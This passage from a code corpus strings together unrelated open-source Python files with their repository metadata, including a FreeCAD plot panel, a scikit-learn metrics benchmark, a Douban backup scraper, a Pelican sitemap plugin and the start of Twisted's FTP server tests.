isAllowedAlterView(self): return True def isAllowedAlterDocument(self): return False def helpRequested(self): pass def setupUi(self): mw = self.getMainWindow() form = mw.findChild(QtGui.QWidget, "TaskPanel") form.path = self.widget(QtGui.QLineEdit, "path") form.pathButton = self.widget(QtGui.QPushButton, "pathButton") form.sizeX = self.widget(QtGui.QDoubleSpinBox, "sizeX") form.sizeY = self.widget(QtGui.QDoubleSpinBox, "sizeY") form.dpi = self.widget(QtGui.QSpinBox, "dpi") self.form = form self.retranslateUi() QtCore.QObject.connect( form.pathButton, QtCore.SIGNAL("pressed()"), self.onPathButton) QtCore.QObject.connect( Plot.getMdiArea(), QtCore.SIGNAL("subWindowActivated(QMdiSubWindow*)"), self.onMdiArea) home = os.getenv('USERPROFILE') or os.getenv('HOME') form.path.setText(os.path.join(home, "plot.png")) self.updateUI() return False def getMainWindow(self): toplevel = QtGui.qApp.topLevelWidgets() for i in toplevel: if i.metaObject().className() == "Gui::MainWindow": return i raise RuntimeError("No main window found") def widget(self, class_id, name): """Return the selected widget. Keyword arguments: class_id -- Class identifier name -- Name of the widget """ mw = self.getMainWindow() form = mw.findChild(QtGui.QWidget, "TaskPanel") return form.findChild(class_id, name) def retranslateUi(self): """Set the user interface locale strings.""" self.form.setWindowTitle(QtGui.QApplication.translate( "plot_save", "Save figure", None, QtGui.QApplication.UnicodeUTF8)) self.widget(QtGui.QLabel, "sizeLabel").setText( QtGui.QApplication.translate( "plot_save", "Inches", None, QtGui.QApplication.UnicodeUTF8)) self.widget(QtGui.QLabel, "dpiLabel").setText( QtGui.QApplication.translate( "plot_save", "Dots per Inch", None, QtGui.QApplication.UnicodeUTF8)) self.widget(QtGui.QLineEdit, "path").setToolTip( QtGui.QApplication.translate( "plot_save", "Output image file path", None, QtGui.QApplication.UnicodeUTF8)) self.widget(QtGui.QPushButton, "pathButton").setToolTip( QtGui.QApplication.translate( "plot_save", "Show a file selection dialog", None, QtGui.QApplication.UnicodeUTF8)) self.widget(QtGui.QDoubleSpinBox, "sizeX").setToolTip( QtGui.QApplication.translate( "plot_save", "X image size", None, QtGui.QApplication.UnicodeUTF8)) self.widget(QtGui.QDoubleSpinBox, "sizeY").setToolTip( QtGui.QApplication.translate( "plot_save", "Y image size", None, QtGui.QApplication.UnicodeUTF8)) self.widget(QtGui.QSpinBox, "dpi").setToolTip( QtGui.QApplication.translate( "plot_save", "Dots per point, with size will define output image" " resolution", None, QtGui.QApplication.UnicodeUTF8)) def updateUI(self): """ Setup UI controls values if possible """ mw = self.getMainWindow() form = mw.findChild(QtGui.QWidget, "TaskPanel") form.path = self.widget(QtGui.QLineEdit, "path") form.pathButton = self.widget(QtGui.QPushButton, "pathButton") form.sizeX = self.widget(QtGui.QDoubleSpinBox, "sizeX") form.sizeY = self.widget(QtGui.QDoubleSpinBox, "sizeY") form.dpi = self.widget(QtGui.QSpinBox, "dpi") plt = Plot.getPlot() form.path.setEnabled(bool(plt)) form.pathButton.setEnabled(bool(plt)) form.sizeX.setEnabled(bool(plt)) form.sizeY.setEnabled(bool(plt)) form.dpi.setEnabled(bool(plt)) if not plt: return fig = plt.fig size = fig.get_size_inches() dpi = fig.get_dpi() form.sizeX.setValue(size[0]) form.sizeY.setValue(size[1]) form.dpi.setValue(dpi) def onPathButton(self): """Executed when the path selection button is pressed.""" mw = self.getMainWindow() form = mw.findChild(QtGui.QWidget, "TaskPanel") form.path = self.widget(QtGui.QLineEdit, "path") path = form.path.text() file_choices = ("Portable Network Graphics (*.png)|*.png;;" "Portable Document Format (*.pdf)|*.pdf;;" "PostScript (*.ps)|*.ps;;" "Encapsulated PostScript (*.eps)|*.eps") path = QtGui.QFileDialog.getSaveFileName(None, 'Save figure', path, file_choices) if path: form.path.setText(path) def onMdiArea(self, subWin): """Executed when a new window is selected on the mdi area. Keyword arguments: subWin -- Selected window. """ plt = Plot.getPlot() if plt != subWin: self.updateUI() def createTask(): panel = TaskPanel() Gui.Control.showDialog(panel) if panel.setupUi(): Gui.Control.closeDialog(panel) return None return panel
andaag/scikit-learn
refs/heads/master
benchmarks/bench_multilabel_metrics.py
276
#!/usr/bin/env python """ A comparison of multilabel target formats and metrics over them """ from __future__ import division from __future__ import print_function from timeit import timeit from functools import partial import itertools import argparse import sys import matplotlib.pyplot as plt import scipy.sparse as sp import numpy as np from sklearn.datasets import make_multilabel_classification from sklearn.metrics import (f1_score, accuracy_score, hamming_loss, jaccard_similarity_score) from sklearn.utils.testing import ignore_warnings METRICS = { 'f1': partial(f1_score, average='micro'), 'f1-by-sample': partial(f1_score, average='samples'), 'accuracy': accuracy_score, 'hamming': hamming_loss, 'jaccard': jaccard_similarity_score, } FORMATS = { 'sequences': lambda y: [list(np.flatnonzero(s)) for s in y], 'dense': lambda y: y, 'csr': lambda y: sp.csr_matrix(y), 'csc': lambda y: sp.csc_matrix(y), } @ignore_warnings def benchmark(metrics=tuple(v for k, v in sorted(METRICS.items())), formats=tuple(v for k, v in sorted(FORMATS.items())), samples=1000, classes=4, density=.2, n_times=5): """Times metric calculations for a number of inputs Parameters ---------- metrics : array-like of callables (1d or 0d) The metric functions to time. formats : array-like of callables (1d or 0d) These may transform a dense indicator matrix into multilabel representation. samples : array-like of ints (1d or 0d) The number of samples to generate as input. classes : array-like of ints (1d or 0d) The number of classes in the input. density : array-like of ints (1d or 0d) The density of positive labels in the input. n_times : int Time calling the metric n_times times. Returns ------- array of floats shaped like (metrics, formats, samples, classes, density) Time in seconds. """ metrics = np.atleast_1d(metrics) samples = np.atleast_1d(samples) classes = np.atleast_1d(classes) density = np.atleast_1d(density) formats = np.atleast_1d(formats) out = np.zeros((len(metrics), len(formats), len(samples), len(classes), len(density)), dtype=float) it = itertools.product(samples, classes, density) for i, (s, c, d) in enumerate(it): _, y_true = make_multilabel_classification(n_samples=s, n_features=1, n_classes=c, n_labels=d * c, random_state=42) _, y_pred = make_multilabel_classification(n_samples=s, n_features=1, n_classes=c, n_labels=d * c, random_state=84) for j, f in enumerate(formats): f_true = f(y_true) f_pred = f(y_pred) for k, metric in enumerate(metrics): t = timeit(partial(metric, f_true, f_pred), number=n_times) out[k, j].flat[i] = t return out def _tabulate(results, metrics, formats): """Prints results by metric and format Uses the last ([-1]) value of other fields """ column_width = max(max(len(k) for k in formats) + 1, 8) first_width = max(len(k) for k in metrics) head_fmt = ('{:<{fw}s}' + '{:>{cw}s}' * len(formats)) row_fmt = ('{:<{fw}s}' + '{:>{cw}.3f}' * len(formats)) print(head_fmt.format('Metric', *formats, cw=column_width, fw=first_width)) for metric, row in zip(metrics, results[:, :, -1, -1, -1]): print(row_fmt.format(metric, *row, cw=column_width, fw=first_width)) def _plot(results, metrics, formats, title, x_ticks, x_label, format_markers=('x', '|', 'o', '+'), metric_colors=('c', 'm', 'y', 'k', 'g', 'r', 'b')): """ Plot the results by metric, format and some other variable given by x_label """ fig = plt.figure('scikit-learn multilabel metrics benchmarks') plt.title(title) ax = fig.add_subplot(111) for i, metric in enumerate(metrics): for j, format in enumerate(formats): ax.plot(x_ticks, results[i, j].flat, label='{}, {}'.format(metric, format), marker=format_markers[j], color=metric_colors[i % len(metric_colors)]) ax.set_xlabel(x_label) ax.set_ylabel('Time (s)') ax.legend() plt.show() if __name__ == "__main__": ap = argparse.ArgumentParser() ap.add_argument('metrics', nargs='*', default=sorted(METRICS), help='Specifies metrics to benchmark, defaults to all. ' 'Choices are: {}'.format(sorted(METRICS))) ap.add_argument('--formats', nargs='+', choices=sorted(FORMATS), help='Specifies multilabel formats to benchmark ' '(defaults to all).') ap.add_argument('--samples', type=int, default=1000, help='The number of samples to generate') ap.add_argument('--classes', type=int, default=10, help='The number of classes') ap.add_argument('--density', type=float, default=.2, help='The average density of labels per sample') ap.add_argument('--plot', choices=['classes', 'density', 'samples'], default=None, help='Plot time with respect to this parameter varying ' 'up to the specified value') ap.add_argument('--n-steps', default=10, type=int, help='Plot this many points for each metric') ap.add_argument('--n-times', default=5, type=int, help="Time performance over n_times trials") args = ap.parse_args() if args.plot is not None: max_val = getattr(args, args.plot) if args.plot in ('classes', 'samples'): min_val = 2 else: min_val = 0 steps = np.linspace(min_val, max_val, num=args.n_steps + 1)[1:] if args.plot in ('classes', 'samples'): steps = np.unique(np.round(steps).astype(int)) setattr(args, args.plot, steps) if args.metrics is None: args.metrics = sorted(METRICS) if args.formats is None: args.formats = sorted(FORMATS) results = benchmark([METRICS[k] for k in args.metrics], [FORMATS[k] for k in args.formats], args.samples, args.classes, args.density, args.n_times) _tabulate(results, args.metrics, args.formats) if args.plot is not None: print('Displaying plot', file=sys.stderr) title = ('Multilabel metrics with %s' % ', '.join('{0}={1}'.format(field, getattr(args, field)) for field in ['samples', 'classes', 'density'] if args.plot != field)) _plot(results, args.metrics, args.formats, title, steps, args.plot)
Belgabor/django
refs/heads/master
tests/regressiontests/i18n/models.py
11
from datetime import datetime from django.db import models from django.utils.translation import ugettext_lazy as _ class TestModel(models.Model): text = models.CharField(max_length=10, default=_('Anything')) class Company(models.Model): name = models.CharField(max_length=50) date_added = models.DateTimeField(default=datetime(1799,1,31,23,59,59,0)) cents_payed = models.DecimalField(max_digits=4, decimal_places=2) products_delivered = models.IntegerField() __test__ = {'API_TESTS': ''' >>> tm = TestModel() >>> tm.save() ''' }
acarmel/CouchPotatoServer
refs/heads/master
libs/tornado/platform/posix.py
352
#!/usr/bin/env python # # Copyright 2011 Facebook # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """Posix implementations of platform-specific functionality.""" from __future__ import absolute_import, division, print_function, with_statement import fcntl import os from tornado.platform import interface def set_close_exec(fd): flags = fcntl.fcntl(fd, fcntl.F_GETFD) fcntl.fcntl(fd, fcntl.F_SETFD, flags | fcntl.FD_CLOEXEC) def _set_nonblocking(fd): flags = fcntl.fcntl(fd, fcntl.F_GETFL) fcntl.fcntl(fd, fcntl.F_SETFL, flags | os.O_NONBLOCK) class Waker(interface.Waker): def __init__(self): r, w = os.pipe() _set_nonblocking(r) _set_nonblocking(w) set_close_exec(r) set_close_exec(w) self.reader = os.fdopen(r, "rb", 0) self.writer = os.fdopen(w, "wb", 0) def fileno(self): return self.reader.fileno() def write_fileno(self): return self.writer.fileno() def wake(self): try: self.writer.write(b"x") except IOError: pass def consume(self): try: while True: result = self.reader.read() if not result: break except IOError: pass def close(self): self.reader.close() self.writer.close()
apple/swift-clang
refs/heads/stable
docs/analyzer/conf.py
33
# -*- coding: utf-8 -*- # # Clang Static Analyzer documentation build configuration file, created by # sphinx-quickstart on Wed Jan 2 15:54:28 2013. # # This file is execfile()d with the current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys, os from datetime import date # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. #sys.path.insert(0, os.path.abspath('.')) # -- General configuration ----------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = ['sphinx.ext.todo', 'sphinx.ext.mathjax'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'Clang Static Analyzer' copyright = u'2013-%d, Analyzer Team' % date.today().year # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short version. version = '6' # The full version, including alpha/beta/rc tags. release = '6' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'haiku' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = [] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'ClangStaticAnalyzerdoc' # -- Options for LaTeX output -------------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'ClangStaticAnalyzer.tex', u'Clang Static Analyzer Documentation', u'Analyzer Team', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'clangstaticanalyzer', u'Clang Static Analyzer Documentation', [u'Analyzer Team'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------------ # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'ClangStaticAnalyzer', u'Clang Static Analyzer Documentation', u'Analyzer Team', 'ClangStaticAnalyzer', 'One line description of project.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote' # Example configuration for intersphinx: refer to the Python standard library. intersphinx_mapping = {'http://docs.python.org/': None}
DannyVim/ToolsCollection
refs/heads/master
Outdated/db_movie.py
1
# -*- coding: utf-8 -*- """ 这是一个用以获取用户豆瓣数据的爬虫,使得用户可以进行数据的本地备份。 支持: 1.豆瓣电影,豆瓣读书【暂不支持】 2.csv文件为逗号分割符文件。 @author: DannyVim """ import urllib2 as ur from bs4 import BeautifulSoup as bs import sys import time reload(sys) sys.setdefaultencoding('utf8') # BASE URL def basepage(wa): m_wish = 'http://movie.douban.com/people/' + user + '/wish?start=' m_do = 'http://movie.douban.com/people/' + user + '/do?start=' m_collect = 'http://movie.douban.com/people/' + user + '/collect?start=' if wa == 'do': baseurl = m_do elif wa == 'wish': baseurl = m_wish elif wa == 'collect': baseurl = m_collect link_list(baseurl) # 知道目录下有多少页,并且打开每一页获取数据 def link_list(pageurl): info = ur.urlopen(pageurl) soup = bs(info) try: t = soup.find('span', class_='thispage')['data-total-page'] except TypeError: content(pageurl) else: n = 0 t = int(t) - 1 for i in range(t): pagelist = pageurl + str(n) content(pagelist) n = n + 15 # 显示程序运行进度,但是这个只在CMD中有效OTZ percent = 1.0 * i / t * 100 print 'complete percent:' + str(percent) + '%', sys.stdout.write("\r") time.sleep(0.1) # 利用bs4库把静态的网页解析出来并挑选有用数据 def content(html): info = ur.urlopen(html) soup = bs(info) for tag in soup.body(attrs={'class': 'item'}): datum = open('datum.csv', 'a+') title = tag.em.string.strip() url = tag.li.a.get('href') date = tag.find('span', class_='date').get_text() comment = tag.find('span', class_='comment') if comment == None: comment = '' else: comment = comment.get_text() comment = comment.encode('utf-8') title = title.encode('utf-8') url = url.encode('utf-8') date = date.encode('utf-8') print >> datum, url, ',', date, ',', title, ',', comment datum.close() # 运行 print u'这是一个用以获取用户豆瓣数据的爬虫,使得用户可以进行数据的本地备份。' user = raw_input('Please input your DB user name:') wanted = raw_input('Please input what you want to sync:(do,wish,collect)') basepage(wanted)
JoergFritz/genRouteDb
refs/heads/master
correctTrackCities.py
1
import MySQLdb as mdb import numpy as np from haversine import haversine # connect to database with running routes con=mdb.connect(host="mysql.server",user="JoergFritz", \ db="JoergFritz$runRoutesTest",passwd="you-wish") cur = con.cursor(mdb.cursors.DictCursor) cur.execute("SELECT MapMyRunId,City,StartLat,QuarterLat,HalfLat,ThreeQuarterLat,StartLng,QuarterLng,HalfLng,ThreeQuarterLng from Tracks") rowsTracks = cur.fetchall() cur.execute("SELECT City,Lat,Lng from Cities") rowsCities = cur.fetchall() dist = np.zeros(len(rowsCities)) cityNames=[] n=0 for row in rowsTracks: mapMyRunId = row['MapMyRunId'] city = row['City'] startLat = row['StartLat'] quarterLat = row['QuarterLat'] halfLat = row['HalfLat'] threeQuarterLat = row['ThreeQuarterLat'] startLng = row['StartLng'] quarterLng = row['QuarterLng'] halfLng = row['HalfLng'] threeQuarterLng = row['ThreeQuarterLng'] avgLat=(startLat+quarterLat+halfLat+threeQuarterLat)/4 avgLng=(startLng+quarterLng+halfLng+threeQuarterLng)/4 for i in range(len(rowsCities)): cityNames.append(rowsCities[i]['City']) cityLat = rowsCities[i]['Lat'] cityLng = rowsCities[i]['Lng'] dist[i] = haversine((cityLat,cityLng),(avgLat,avgLng)) index_min=dist.argmin() closestCity = cityNames[index_min] cur.execute("UPDATE Tracks SET City=%s WHERE MapMyRunId=%s",(closestCity,mapMyRunId)) n = n+1 print n con.commit() cur.close() con.close()
josephnoir/RIOT
refs/heads/master
tests/thread_msg_block_race/tests/01-run.py
25
#!/usr/bin/env python3 # Copyright (C) 2019 Freie Universität Berlin # # This file is subject to the terms and conditions of the GNU Lesser # General Public License v2.1. See the file LICENSE in the top level # directory for more details. import sys from testrunner import run from pexpect import TIMEOUT def testfunc(child): res = child.expect([TIMEOUT, "Message was not written"]) # we actually want the timeout here. The application runs into an assertion # pretty quickly when failing and runs forever on success assert(res == 0) if __name__ == "__main__": sys.exit(run(testfunc, timeout=10))
s40523207/2016fallcp_hw
refs/heads/gh-pages
plugin/sitemap/sitemap.py
292
# -*- coding: utf-8 -*- ''' Sitemap ------- The sitemap plugin generates plain-text or XML sitemaps. ''' from __future__ import unicode_literals import re import collections import os.path from datetime import datetime from logging import warning, info from codecs import open from pytz import timezone from pelican import signals, contents from pelican.utils import get_date TXT_HEADER = """{0}/index.html {0}/archives.html {0}/tags.html {0}/categories.html """ XML_HEADER = """<?xml version="1.0" encoding="utf-8"?> <urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> """ XML_URL = """ <url> <loc>{0}/{1}</loc> <lastmod>{2}</lastmod> <changefreq>{3}</changefreq> <priority>{4}</priority> </url> """ XML_FOOTER = """ </urlset> """ def format_date(date): if date.tzinfo: tz = date.strftime('%z') tz = tz[:-2] + ':' + tz[-2:] else: tz = "-00:00" return date.strftime("%Y-%m-%dT%H:%M:%S") + tz class SitemapGenerator(object): def __init__(self, context, settings, path, theme, output_path, *null): self.output_path = output_path self.context = context self.now = datetime.now() self.siteurl = settings.get('SITEURL') self.default_timezone = settings.get('TIMEZONE', 'UTC') self.timezone = getattr(self, 'timezone', self.default_timezone) self.timezone = timezone(self.timezone) self.format = 'xml' self.changefreqs = { 'articles': 'monthly', 'indexes': 'daily', 'pages': 'monthly' } self.priorities = { 'articles': 0.5, 'indexes': 0.5, 'pages': 0.5 } self.sitemapExclude = [] config = settings.get('SITEMAP', {}) if not isinstance(config, dict): warning("sitemap plugin: the SITEMAP setting must be a dict") else: fmt = config.get('format') pris = config.get('priorities') chfreqs = config.get('changefreqs') self.sitemapExclude = config.get('exclude', []) if fmt not in ('xml', 'txt'): warning("sitemap plugin: SITEMAP['format'] must be `txt' or `xml'") warning("sitemap plugin: Setting SITEMAP['format'] on `xml'") elif fmt == 'txt': self.format = fmt return valid_keys = ('articles', 'indexes', 'pages') valid_chfreqs = ('always', 'hourly', 'daily', 'weekly', 'monthly', 'yearly', 'never') if isinstance(pris, dict): # We use items for Py3k compat. .iteritems() otherwise for k, v in pris.items(): if k in valid_keys and not isinstance(v, (int, float)): default = self.priorities[k] warning("sitemap plugin: priorities must be numbers") warning("sitemap plugin: setting SITEMAP['priorities']" "['{0}'] on {1}".format(k, default)) pris[k] = default self.priorities.update(pris) elif pris is not None: warning("sitemap plugin: SITEMAP['priorities'] must be a dict") warning("sitemap plugin: using the default values") if isinstance(chfreqs, dict): # .items() for py3k compat. for k, v in chfreqs.items(): if k in valid_keys and v not in valid_chfreqs: default = self.changefreqs[k] warning("sitemap plugin: invalid changefreq `{0}'".format(v)) warning("sitemap plugin: setting SITEMAP['changefreqs']" "['{0}'] on '{1}'".format(k, default)) chfreqs[k] = default self.changefreqs.update(chfreqs) elif chfreqs is not None: warning("sitemap plugin: SITEMAP['changefreqs'] must be a dict") warning("sitemap plugin: using the default values") def write_url(self, page, fd): if getattr(page, 'status', 'published') != 'published': return # We can disable categories/authors/etc by using False instead of '' if not page.save_as: return page_path = os.path.join(self.output_path, page.save_as) if not os.path.exists(page_path): return lastdate = getattr(page, 'date', self.now) try: lastdate = self.get_date_modified(page, lastdate) except ValueError: warning("sitemap plugin: " + page.save_as + " has invalid modification date,") warning("sitemap plugin: using date value as lastmod.") lastmod = format_date(lastdate) if isinstance(page, contents.Article): pri = self.priorities['articles'] chfreq = self.changefreqs['articles'] elif isinstance(page, contents.Page): pri = self.priorities['pages'] chfreq = self.changefreqs['pages'] else: pri = self.priorities['indexes'] chfreq = self.changefreqs['indexes'] pageurl = '' if page.url == 'index.html' else page.url #Exclude URLs from the sitemap: if self.format == 'xml': flag = False for regstr in self.sitemapExclude: if re.match(regstr, pageurl): flag = True break if not flag: fd.write(XML_URL.format(self.siteurl, pageurl, lastmod, chfreq, pri)) else: fd.write(self.siteurl + '/' + pageurl + '\n') def get_date_modified(self, page, default): if hasattr(page, 'modified'): if isinstance(page.modified, datetime): return page.modified return get_date(page.modified) else: return default def set_url_wrappers_modification_date(self, wrappers): for (wrapper, articles) in wrappers: lastmod = datetime.min.replace(tzinfo=self.timezone) for article in articles: lastmod = max(lastmod, article.date.replace(tzinfo=self.timezone)) try: modified = self.get_date_modified(article, datetime.min).replace(tzinfo=self.timezone) lastmod = max(lastmod, modified) except ValueError: # Supressed: user will be notified. pass setattr(wrapper, 'modified', str(lastmod)) def generate_output(self, writer): path = os.path.join(self.output_path, 'sitemap.{0}'.format(self.format)) pages = self.context['pages'] + self.context['articles'] \ + [ c for (c, a) in self.context['categories']] \ + [ t for (t, a) in self.context['tags']] \ + [ a for (a, b) in self.context['authors']] self.set_url_wrappers_modification_date(self.context['categories']) self.set_url_wrappers_modification_date(self.context['tags']) self.set_url_wrappers_modification_date(self.context['authors']) for article in self.context['articles']: pages += article.translations info('writing {0}'.format(path)) with open(path, 'w', encoding='utf-8') as fd: if self.format == 'xml': fd.write(XML_HEADER) else: fd.write(TXT_HEADER.format(self.siteurl)) FakePage = collections.namedtuple('FakePage', ['status', 'date', 'url', 'save_as']) for standard_page_url in ['index.html', 'archives.html', 'tags.html', 'categories.html']: fake = FakePage(status='published', date=self.now, url=standard_page_url, save_as=standard_page_url) self.write_url(fake, fd) for page in pages: self.write_url(page, fd) if self.format == 'xml': fd.write(XML_FOOTER) def get_generators(generators): return SitemapGenerator def register(): signals.get_generators.connect(get_generators)
ghickman/django
refs/heads/master
django/test/__init__.py
341
""" Django Unit Test and Doctest framework. """ from django.test.client import Client, RequestFactory from django.test.testcases import ( LiveServerTestCase, SimpleTestCase, TestCase, TransactionTestCase, skipIfDBFeature, skipUnlessAnyDBFeature, skipUnlessDBFeature, ) from django.test.utils import ( ignore_warnings, modify_settings, override_settings, override_system_checks, ) __all__ = [ 'Client', 'RequestFactory', 'TestCase', 'TransactionTestCase', 'SimpleTestCase', 'LiveServerTestCase', 'skipIfDBFeature', 'skipUnlessAnyDBFeature', 'skipUnlessDBFeature', 'ignore_warnings', 'modify_settings', 'override_settings', 'override_system_checks' ] # To simplify Django's test suite; not meant as a public API try: from unittest import mock # NOQA except ImportError: try: import mock # NOQA except ImportError: pass
smartdata-x/robots
refs/heads/master
pylib/Twisted/twisted/test/test_ftp.py
23
# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ FTP tests. """ import os import errno from StringIO import StringIO import getpass from zope.interface import implements from zope.interface.verify import verifyClass from twisted.trial import unittest from twisted.python.randbytes import insecureRandom from twisted.cred.portal import IRealm from twisted.protocols import basic from twisted.internet import reactor, task, protocol, defer, error from twisted.internet.interfaces import IConsumer from twisted.cred.error import UnauthorizedLogin from twisted.cred import portal, checkers, credentials from twisted.python import failure, filepath, runtime from twisted.test import proto_helpers from twisted.protocols import ftp, loopback if runtime.platform.isWindows(): nonPOSIXSkip = "Cannot run on Windows" else: nonPOSIXSkip = None class Dummy(basic.LineReceiver): logname = None def __init__(self): self.lines = [] self.rawData = [] def connectionMade(self): self.f = self.factory # to save typing in pdb :-) def lineReceived(self,line): self.lines.append(line) def rawDataReceived(self, data): self.rawData.append(data) def lineLengthExceeded(self, line): pass class _BufferingProtocol(protocol.Protocol): def connectionMade(self): self.buffer = '' self.d = defer.Deferred() def dataReceived(self, data): self.buffer += data def connectionLost(self, reason): self.d.callback(self) class FTPServerTestCase(unittest.TestCase): """ Simple tests for an FTP server with the default settings. @ivar clientFactory: class used as ftp client. """ clientFactory = ftp.FTPClientBasic userAnonymous = "anonymous" def setUp(self): # Create a directory self.directory = self.mktemp() os.mkdir(self.directory) self.dirPath = filepath.FilePath(self.directory) # Start the server p = portal.Portal(ftp.FTPRealm( anonymousRoot=self.directory, userHome=self.directory, )) p.registerChecker(checkers.AllowAnonymousAccess(), credentials.IAnonymous) users_checker = checkers.InMemoryUsernamePasswordDatabaseDontUse() self.username = "test-user" self.password = "test-password" users_checker.addUser(self.username, self.password) p.registerChecker(users_checker, credentials.IUsernamePassword) self.factory = ftp.FTPFactory(portal=p, userAnonymous=self.userAnonymous) port = reactor.listenTCP(0, self.factory, interface="127.0.0.1") self.addCleanup(port.stopListening) # Hook the server's buildProtocol to make the protocol instance # accessible to tests. buildProtocol = self.factory.buildProtocol d1 = defer.Deferred() def _rememberProtocolInstance(addr): # Done hooking this. del self.factory.buildProtocol protocol = buildProtocol(addr) self.serverProtocol = protocol.wrappedProtocol def cleanupServer(): if self.serverProtocol.transport is not None: self.serverProtocol.transport.loseConnection() self.addCleanup(cleanupServer) d1.callback(None) return protocol self.factory.buildProtocol = _rememberProtocolInstance # Connect a client to it portNum = port.getHost().port clientCreator = protocol.ClientCreator(reactor, self.clientFactory) d2 = clientCreator.connectTCP("127.0.0.1", portNum) def gotClient(client): self.client = client self.addCleanup(self.client.transport.loseConnection) d2.addCallback(gotClient) return defer.gatherResults([d1, d2]) def assertCommandResponse(self, command, expectedResponseLines, chainDeferred=None): """Asserts that a sending an FTP command receives the expected response. Returns a Deferred. Optionally accepts a deferred to chain its actions to. """ if chainDeferred is None: chainDeferred = defer.succeed(None) def queueCommand(ignored): d = self.client.queueStringCommand(command) def gotResponse(responseLines): self.assertEqual(expectedResponseLines, responseLines) return d.addCallback(gotResponse) return chainDeferred.addCallback(queueCommand) def assertCommandFailed(self, command, expectedResponse=None, chainDeferred=None): if chainDeferred is None: chainDeferred = defer.succeed(None) def queueCommand(ignored): return self.client.queueStringCommand(command) chainDeferred.addCallback(queueCommand) self.assertFailure(chainDeferred, ftp.CommandFailed) def failed(exception): if expectedResponse is not None: self.assertEqual( expectedResponse, exception.args[0]) return 